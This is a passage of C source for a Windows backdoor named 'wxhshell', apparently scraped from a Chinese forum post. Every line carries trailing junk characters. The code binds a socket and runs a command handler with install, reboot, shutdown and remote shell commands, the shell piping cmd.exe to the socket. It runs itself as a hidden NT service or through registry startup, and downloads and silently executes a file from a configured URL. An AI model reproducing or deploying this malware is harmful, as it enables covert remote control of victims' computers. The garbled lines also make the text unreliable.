  vXLGdv::  
  // 帮助 Mc@_[q!xY?  
  case '?': { 6F8TiR&  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /Y#Q<=X  
    break; `37%|e3bQ  
  } B{ hV|2  
  // 安装 4o69t  
  case 'i': { ]]^r)&pox  
    if(Install()) R}E$SmFg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &y&pjo6v1  
    else h2P&<ggqX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o5;|14O  
    break; O/b1^ Y   
    } ?[#4WH-G  
  // 卸载 m>{I>:sq  
  case 'r': { 1/tyne=m  
    if(Uninstall()) Min {&?a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I1 +A$<Fa  
    else V M{Sng  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dh-?_|"  
    break; S[5OTwa8L  
    } #DA,*  
  // 显示 wxhshell 所在路径 K +l-A>Ic  
  case 'p': { U9Gg#M4tY  
    char svExeFile[MAX_PATH]; vtw97G  
    strcpy(svExeFile,"\n\r"); ecMpU8}rR  
      strcat(svExeFile,ExeFile); Ie7S'.Lmq  
        send(wsh,svExeFile,strlen(svExeFile),0); q${+I(b,  
    break; n3_| # 1Qu  
    } %{B4M#~  
  // 重启 >uP1k.z'I  
  case 'b': { ufB9\yl{~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2UeK%-~W?  
    if(Boot(REBOOT)) Xk?Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XYze*8xUb  
    else { j*_>/gi  
    closesocket(wsh); q"-+`;^7(-  
    ExitThread(0); '>:%n  
    } k[a5D/b  
    break; sp7#e%R\  
    } ZfU &X{  
  // 关机 _Rk>yJD7s  
  case 'd': { vs2xx`Y<Lq  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,?c=v`e  
    if(Boot(SHUTDOWN)) Zjn![  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (vPE?^}b  
    else { Ij?Qs{V  
    closesocket(wsh); l9+)h }  
    ExitThread(0); S9E<)L  
    } p>1Klh:8.'  
    break; xMA2S*%ca  
    } nn8uFISb  
  // 获取shell gg&Dej2{  
  case 's': { 7e:7RAX  
    CmdShell(wsh); "Z#MR`;&29  
    closesocket(wsh); }_fVv{D   
    ExitThread(0); 4Ix~Feuph  
    break; {k)H.zwe  
  } H)pB{W/  
  // 退出 V>"N VRY  
  case 'x': { p]Q(Z  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); rU_FRk  
    CloseIt(wsh); RPZ -  
    break; q@d6P~[-gj  
    } 1>)uI@?Rb  
  // 离开 ]htx9ds=  
  case 'q': { \79aG3MyK  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); &`}ACTY'P  
    closesocket(wsh); /rnP/X)T  
    WSACleanup(); R_duPaWc@  
    exit(1); fO}Y$y\q  
    break; P,bis7X.  
        } 1i 7p'  
  } ]8|peo{  
  } ar:qCq$\  
=`t%p1   
  // 提示信息 \ocC'FmE  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lTJM}K  
} 6BObV/S Jg  
  } l-q.VY2  
/ jN &VpDG  
  return; zJTSg  
} Dw&_6\F@  
e$4l[&kH_  
// shell模块句柄 g.x]x #BC  
int CmdShell(SOCKET sock) R QCKH]&!  
{ |$`I1  
STARTUPINFO si; | (: PX  
ZeroMemory(&si,sizeof(si)); ,S7M4ajVZB  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; aq$adPtu  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (@cZmU,  
PROCESS_INFORMATION ProcessInfo; +f\r?8s  
char cmdline[]="cmd"; j12khp?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Wa'm]J  
  return 0; r~sQdf  
} !;B^\ 8{  
KTjf2/  
// 自身启动模式 _;u@xl=  
int StartFromService(void) /;9]LC.g  
{ 0[!38  
typedef struct ''wF%q  
{ ;op 8r u  
  DWORD ExitStatus; gro@+^DmT  
  DWORD PebBaseAddress; $-lP"m@}  
  DWORD AffinityMask; /@9-D 4  
  DWORD BasePriority; pd oCV  
  ULONG UniqueProcessId; J}s)#va9R  
  ULONG InheritedFromUniqueProcessId; > 72qi*0  
}   PROCESS_BASIC_INFORMATION; N}7tjk   
22"/|S  
PROCNTQSIP NtQueryInformationProcess; u|8yV.=R  
(Q6}N'T  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; LE@`TPg$R  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; QiQO>r  
b;$j h   
  HANDLE             hProcess; &&($LnyA]  
  PROCESS_BASIC_INFORMATION pbi; `KJ BQK  
v1~`76^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); M UqV$#4@I  
  if(NULL == hInst ) return 0; (C!33s1  
/@f3|L<1@V  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ]z 5gC`E0  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Hv<jf38  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5Y(f7,JX  
qY%{c-aMA  
  if (!NtQueryInformationProcess) return 0; TkV*^j5  
e"6!0Py#*  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \&5t@sC  
  if(!hProcess) return 0; CDgu`jj%]  
%yP*Vp,W  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^FN(wvqb8  
\F8*HPM=*  
  CloseHandle(hProcess); $K*&Wdo  
tJ@5E^'4  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); exL<cN  
if(hProcess==NULL) return 0; A+bU{oLr  
<e7  
HMODULE hMod; 4O'X+dv^I  
char procName[255]; Dl95Vo=1  
unsigned long cbNeeded; \ D,c*I|p7  
 d`&F  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,MdK "Qa>  
ET}Dh3A  
  CloseHandle(hProcess); 4^Ghn  
:s`\jJ  
if(strstr(procName,"services")) return 1; // 以服务启动 }dO^q-t$3  
9?#L/  
  return 0; // 注册表启动 K\`>'C2_V  
} J\x.:=V  
WZJ}HHePr  
// 主模块 I:G4i}mA  
int StartWxhshell(LPSTR lpCmdLine) L/n?1'he  
{ 2^C>orKQ0  
  SOCKET wsl; `+O7IyTM A  
BOOL val=TRUE; q+Cq&|4 ?2  
  int port=0; o$_,2$>mn  
  struct sockaddr_in door; TEi~X 2u  
]M5w!O!  
  if(wscfg.ws_autoins) Install(); Q`7.-di  
'vUx4s  
port=atoi(lpCmdLine); ^z\*; f  
%wuD4PRK  
if(port<=0) port=wscfg.ws_port; ]EZiPW-uy  
MUfhk)"  
  WSADATA data; @>sZ'M2mq  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1O,<JrE+-  
V,qc[*_3  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   O$,MdhyXC  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >|@i8?|E  
  door.sin_family = AF_INET; ~i y]X:U  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?#0|A?U  
  door.sin_port = htons(port); 0O:')R&  
I@<\DltPi  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Uc?#E $X  
closesocket(wsl); oWo/QNw9  
return 1; &KS*rHgt?  
} !+# pGSk  
J"Z=`I)KON  
  if(listen(wsl,2) == INVALID_SOCKET) { p 3*y8g-  
closesocket(wsl); EFNi# D8s  
return 1; I?_YL*  
} fNnemn@>  
  Wxhshell(wsl); @XL5$k[Y  
  WSACleanup(); ij<6gv~ n"  
c;dMXv   
return 0; e=m=IVY #W  
1$#{om9  
} fyE#8h_>4  
s35`{PR  
// 以NT服务方式启动 aX$Q}mgb  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 3EN(Pz L  
{ chF@',9t  
DWORD   status = 0; gLL8-T[9  
  DWORD   specificError = 0xfffffff; -x?I6>{  
$+$S}i=  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ,=@%XMS  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ?|;q=p`t-  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; vRQ7=N{3  
  serviceStatus.dwWin32ExitCode     = 0; ',Q|g^rF]  
  serviceStatus.dwServiceSpecificExitCode = 0; NP#:} )  
  serviceStatus.dwCheckPoint       = 0; kED1s's  
  serviceStatus.dwWaitHint       = 0; ^Voi 4;  
~d072qUos  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); M)JKe!0ad1  
  if (hServiceStatusHandle==0) return; 6*\WH%  
yxx'g+D*  
status = GetLastError(); GF=rGn@,)`  
  if (status!=NO_ERROR) B3V;  
{ HDY2<Hzc  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; EDf"1b{PX  
    serviceStatus.dwCheckPoint       = 0; 0;V "64U  
    serviceStatus.dwWaitHint       = 0; / !@@  
    serviceStatus.dwWin32ExitCode     = status; 9$[PA jwk  
    serviceStatus.dwServiceSpecificExitCode = specificError; NM{/rvM  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); iUua!uC  
    return; (Iz$_(  
  } =h Lw 1~  
+-*Ww5Zti  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Jb (CH4|7  
  serviceStatus.dwCheckPoint       = 0; !RD<"  
  serviceStatus.dwWaitHint       = 0; 3\B 28m  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4ru-qF  
} x<fF1];  
KW1b #g%Z  
// 处理NT服务事件,比如:启动、停止 }@XokRk  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Lq6R_ud p  
{ f~0CpB*X  
switch(fdwControl) # zbAA<f  
{ z?DI4 O#Up  
case SERVICE_CONTROL_STOP: ^.HvuG},O  
  serviceStatus.dwWin32ExitCode = 0; OkV*,n  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 3Hd~mfO\  
  serviceStatus.dwCheckPoint   = 0; &{uj3s&C   
  serviceStatus.dwWaitHint     = 0; ni gn" r  
  { 45aUz@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \QvoL  
  } wJ%;\06  
  return; {)?:d6"  
case SERVICE_CONTROL_PAUSE: 9k.5'#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; };Oyv7D+b  
  break; f)x(sk  
case SERVICE_CONTROL_CONTINUE: x,% %^(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; a7@':Rb n  
  break; LN0pC }F  
case SERVICE_CONTROL_INTERROGATE: /L yoTBG  
  break; BtA_1RO  
}; Rl/5eE8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); LGdM40  
} 9Gc4mwu  
2Pm[ kD4E=  
// 标准应用程序主函数 )4MM>Q  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Q_r}cL/A  
{ Db`SNk=  
d2a*xDkv  
// 获取操作系统版本 YLsOA`5X  
OsIsNt=GetOsVer(); 2if7|o$=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); MfA@)v  
/Bw <?:  
  // 从命令行安装 q)j_QbW)  
  if(strpbrk(lpCmdLine,"iI")) Install(); |ns B'Q  
,` 64t'g  
  // 下载执行文件 !*1 $j7`tP  
if(wscfg.ws_downexe) { o"!C8s_6  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) XU y[l  
  WinExec(wscfg.ws_filenam,SW_HIDE); e~U]yg5X-  
} \'Q rJ ?D  
{ )-8P  
if(!OsIsNt) { !sG# 3sUe[  
// 如果时win9x,隐藏进程并且设置为注册表启动 (hJ&`Tt  
HideProc(); 4OaU1Y[  
StartWxhshell(lpCmdLine); tiGBjTPt  
} jP{&U&!i  
else yiw4<]{IX  
  if(StartFromService()) `+m:@0&L  
  // 以服务方式启动 y '[VZ$^i  
  StartServiceCtrlDispatcher(DispatchTable); Gl"|t't(  
else N<PDQ  
  // 普通方式启动 0MI4"<  
  StartWxhshell(lpCmdLine); 2{Y~jYt{h  
z?^oy.  
return 0; re~T,PPM  
}
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只看该作者 1 发表于: 2006-10-10
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